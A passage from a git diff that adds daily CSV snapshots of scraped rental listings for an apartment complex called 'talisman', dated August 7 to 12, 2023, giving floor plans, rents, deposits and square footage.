sq.ft.,None,N/A +20230807,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230807,talisman,A1 (1x1),1 Bed 1 Bath,"$2,265",$300,604 - 671 sq.ft.,None,N/A +20230807,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230807,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230807,talisman,A2 (1x1),1 Bed 1 Bath,"$2,359",$300,617 - 715 sq.ft.,None,N/A +20230807,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230807,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230807,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230807,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230807,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230807,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230807,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230807,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230807,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230807,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230807,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230807,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230807,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230807,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230807,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230807,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230807,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230807,talisman,C2 (2x2),2 Bed 2 Bath,"$3,286",$300,1088 - 1243 sq.ft.,None,N/A +20230807,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230807,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230807,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230807,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230807,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230807,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230807,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230807,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230807,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230807,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230807,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230807,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230807,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230807,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230807,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230807,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230807,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230807,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230807,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230808.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230808.csv new file mode 100644 index 00000000000..eb244e1e04f --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230808.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230808,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230808,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230808,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230808,talisman,A1 (1x1),1 Bed 1 Bath,"$2,259",$300,604 - 671 sq.ft.,None,N/A +20230808,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230808,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230808,talisman,A2 (1x1),1 Bed 1 Bath,"$2,359",$300,617 - 715 sq.ft.,None,N/A +20230808,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230808,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230808,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230808,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230808,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230808,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230808,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230808,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230808,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230808,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230808,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230808,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230808,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230808,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230808,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230808,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230808,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230808,talisman,C2 (2x2),2 Bed 2 Bath,"$3,286",$300,1088 - 1243 sq.ft.,None,N/A +20230808,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230808,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230808,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230808,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230808,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230808,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230808,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230808,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230808,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230808,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230808,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230808,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230808,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230808,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230808,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230808,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230808,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230808,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230808,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230809.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230809.csv new file mode 100644 index 00000000000..747c313db51 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230809.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230809,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230809,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230809,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230809,talisman,A1 (1x1),1 Bed 1 Bath,"$2,259",$300,604 - 671 sq.ft.,None,N/A +20230809,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230809,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230809,talisman,A2 (1x1),1 Bed 1 Bath,"$2,359",$300,617 - 715 sq.ft.,None,N/A +20230809,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230809,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230809,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230809,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230809,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230809,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230809,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230809,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230809,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230809,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230809,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230809,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230809,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230809,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230809,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230809,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230809,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230809,talisman,C2 (2x2),2 Bed 2 Bath,"$3,286",$300,1088 - 1243 sq.ft.,None,N/A +20230809,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230809,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230809,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230809,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230809,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230809,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230809,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230809,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230809,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230809,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230809,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230809,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230809,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230809,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230809,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230809,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230809,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230809,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230809,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230810.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230810.csv new file mode 100644 index 00000000000..047af21895f --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230810.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230810,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230810,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230810,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230810,talisman,A1 (1x1),1 Bed 1 Bath,"$2,259",$300,604 - 671 sq.ft.,None,N/A +20230810,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230810,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230810,talisman,A2 (1x1),1 Bed 1 Bath,"$2,359",$300,617 - 715 sq.ft.,None,N/A +20230810,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230810,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230810,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230810,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230810,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230810,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230810,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230810,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230810,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230810,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230810,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230810,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230810,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230810,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230810,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230810,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230810,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230810,talisman,C2 (2x2),2 Bed 2 Bath,"$3,286",$300,1088 - 1243 sq.ft.,None,N/A +20230810,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230810,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230810,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230810,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230810,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230810,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230810,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230810,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230810,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230810,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230810,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230810,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230810,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230810,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230810,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230810,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230810,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230810,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230810,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230811.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230811.csv new file mode 100644 index 00000000000..cfeda8da2f3 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230811.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230811,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230811,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230811,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230811,talisman,A1 (1x1),1 Bed 1 Bath,"$2,265",$300,604 - 671 sq.ft.,None,N/A +20230811,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230811,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230811,talisman,A2 (1x1),1 Bed 1 Bath,"$2,339",$300,617 - 715 sq.ft.,None,N/A +20230811,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230811,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230811,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230811,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230811,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230811,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230811,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230811,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230811,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230811,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230811,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230811,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230811,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230811,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230811,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230811,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230811,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230811,talisman,C2 (2x2),2 Bed 2 Bath,"$3,311",$300,1088 - 1243 sq.ft.,None,N/A +20230811,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230811,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230811,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230811,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230811,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230811,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230811,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230811,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230811,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230811,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230811,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230811,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230811,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230811,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230811,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230811,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230811,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230811,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230811,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230812.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230812.csv new file mode 100644 index 00000000000..71a1bc726c2 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230812.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230812,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230812,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230812,talisman,A10 (1x1),1 Bed 1 Bath,"$2,264",$300,578 - 665 sq.ft.,None,N/A +20230812,talisman,A1 (1x1),1 Bed 1 Bath,"$2,284",$300,604 - 671 sq.ft.,None,N/A +20230812,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230812,talisman,A3 (1x1),1 Bed 1 Bath,"$2,364",$300,609 - 642 sq.ft.,None,N/A +20230812,talisman,A2 (1x1),1 Bed 1 Bath,"$2,364",$300,617 - 715 sq.ft.,None,N/A +20230812,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230812,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230812,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230812,talisman,B5 (1x1),1 Bed 1 Bath,"$2,129",$300,674 - 775 sq.ft.,None,N/A +20230812,talisman,B2 (1x1),1 Bed 1 Bath,"$2,199",$300,706 - 739 sq.ft.,None,N/A +20230812,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230812,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230812,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,630",$300,745 - 828 sq.ft.,None,N/A +20230812,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230812,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230812,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,715",$300,785 - 852 sq.ft.,None,N/A +20230812,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230812,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230812,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230812,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230812,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230812,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230812,talisman,C2 (2x2),2 Bed 2 Bath,"$3,261",$300,1088 - 1243 sq.ft.,None,N/A +20230812,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230812,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230812,talisman,C5 (2x2),2 Bed 2 Bath,"$3,021",$300,934 - 984 sq.ft.,None,N/A +20230812,talisman,C3 (2x2),2 Bed 2 Bath,"$3,141",$300,1010 - 1103 sq.ft.,None,N/A +20230812,talisman,C1 (2x2),2 Bed 2 Bath,"$3,406",$300,1029 - 1294 sq.ft.,None,N/A +20230812,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230812,talisman,C7 (2x2),2 Bed 2 Bath,"$3,226",$300,1074 - 1131 sq.ft.,None,N/A +20230812,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,260",$300,1140 - 1185 